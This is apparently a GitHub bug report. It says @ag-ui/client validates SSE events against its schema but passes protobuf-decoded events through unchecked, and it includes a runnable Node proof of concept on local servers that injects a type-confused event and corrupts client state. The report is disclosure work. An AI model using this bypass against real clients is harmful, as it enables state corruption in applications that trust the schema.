[BUG]: Protobuf-decoded events skip `EventSchemas.parse` entirely (validation asymmetry vs SSE)

# Protobuf-decoded events skip `EventSchemas.parse` entirely (validation asymmetry vs SSE)

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-20 (Improper Input Validation)

## Summary

The transport selects a decoder by response content type. The SSE branch validates every parsed event through the Zod `EventSchemas.parse` before emitting it; the protobuf branch decodes with `@ag-ui/proto` and emits the result **directly, with no schema validation**. The same malformed event is therefore rejected on one transport and accepted on the other: `{type: "TEXT_MESSAGE_START", messageId: 12345}` (numeric id) fails SSE validation with a Zod `invalid_type` error, while over the protobuf media type it is accepted and handed to the run reducer — which then tracks an active text message with id `12345` and later refuses `RUN_FINISHED` because "text messages are still active: 12345". The schema contract exists; one transport bypasses it.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `transformHttpEventStream` content-type switch — SSE branch validates via `EventSchemas.parse(e)`; protobuf branch emits `decode(buf)` unvalidated

## Observed behavior (measured)

Identical bad event delivered over both transports:

| transport | result |
|---|---|
| `text/event-stream` | rejected — Zod: `invalid_type, expected string, received number, path [messageId]` |
| protobuf media type (`AGUI_MEDIA_TYPE`) | accepted; reducer state corrupted (active message id `12345`; run cannot finish) |

## Impact

An agent (or a MITM content-type flip) injects type-confused, extra-field, or otherwise schema-invalid events directly into the client state machine on the protobuf path — driving downstream logic errors in code that trusts the schema contract. Validation bypass; impact beyond availability.

## Suggested remediation

- Run the same `EventSchemas.parse` over protobuf-decoded events before emission (symmetric validation), or validate at the reducer entry regardless of transport.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` and the matching `@ag-ui/proto` release installed. Run `node poc_f29.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f29.mjs — F-29: protobuf-decoded events bypass EventSchemas.parse
// (asymmetry vs SSE). transformHttpEventStream's content-type switch: the SSE
// branch calls EventSchemas.parse(e) (zod) before emitting; the protobuf branch
// emits proto.decode(buf) straight to next() with NO schema validation. So a
// malformed event that the SSE path REJECTS is ACCEPTED via protobuf. We send
// the SAME bad event ({type:TEXT_MESSAGE_START, messageId:}) over both
// transports: SSE → runAgent rejects (zod error); protobuf (Content-Type:
// AGUI_MEDIA_TYPE) → runAgent accepts (no validation). The contrast proves the
// bypass.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';
import { encode, AGUI_MEDIA_TYPE } from '@ag-ui/proto';

const BAD_EVENT = { type: 'TEXT_MESSAGE_START', messageId: 12345, role: 'assistant' };

function sseServer() {
return new Promise(r => {
const srv = http.createServer((req, res) => {
req.resume();
req.on('end', () => {
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
res.write(`data: ${JSON.stringify({ type: 'RUN_STARTED', runId: 'r1', threadId: 't1' })}\n\n`);
res.write(`data: ${JSON.stringify(BAD_EVENT)}\n\n`);
res.write(`data: ${JSON.stringify({ type: 'RUN_FINISHED', runId: 'r1', threadId: 't1' })}\n\n`);
res.end();
});
});
srv.listen(0, '127.0.0.1', () => r({ srv, port: srv.address().port }));
});
}
function protoServer() {
return new Promise(r => {
const srv = http.createServer((req, res) => {
req.resume();
req.on('end', () => {
res.writeHead(200, { 'Content-Type': AGUI_MEDIA_TYPE });
const write = (ev) => { const b = encode(ev); const hdr = Buffer.alloc(4); hdr.writeUInt32BE(b.length, 0); res.write(Buffer.concat([hdr, Buffer.from(b)])); };
write({ type: 'RUN_STARTED', runId: 'r1', threadId: 't1' });
write(BAD_EVENT);
write({ type: 'RUN_FINISHED', runId: 'r1', threadId: 't1' });
res.end();
});
});
srv.listen(0, '127.0.0.1', () => r({ srv, port: srv.address().port }));
});
}

// SSE path — should reject (zod: messageId must be string)
const s = await sseServer();
let sseErr = null;
try {
await new HttpAgent({ url: `http://127.0.0.1:${s.port}/` }).runAgent({ messages: [{ role: 'user', content: 'x' }] });
} catch (e) { sseErr = String(e?.message || e); }
s.srv.close();

// Protobuf path — should accept (no EventSchemas.parse)
const p = await protoServer();
let protoErr = null;
try {
await new HttpAgent({ url: `http://127.0.0.1:${p.port}/` }).runAgent({ messages: [{ role: 'user', content: 'x' }] });
} catch (e) { protoErr = String(e?.message || e); }
p.srv.close();

const sseRejected = /invalid|schema|expected|string|validation|parse/i.test(sseErr || '');
const protoAccepted = !protoErr || !/invalid|schema|expected|string|validation|parse/i.test(protoErr || '');
const ok = sseRejected && protoAccepted;

console.log(JSON.stringify({
finding: 'F-29-protobuf-bypasses-eventschema-parse',
bad_event: BAD_EVENT,
sse_error: (sseErr || 'none').slice(0, 100),
sse_rejected_bad_event: sseRejected,
proto_error: (protoErr || 'none').slice(0, 100),
proto_accepted_bad_event: protoAccepted,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```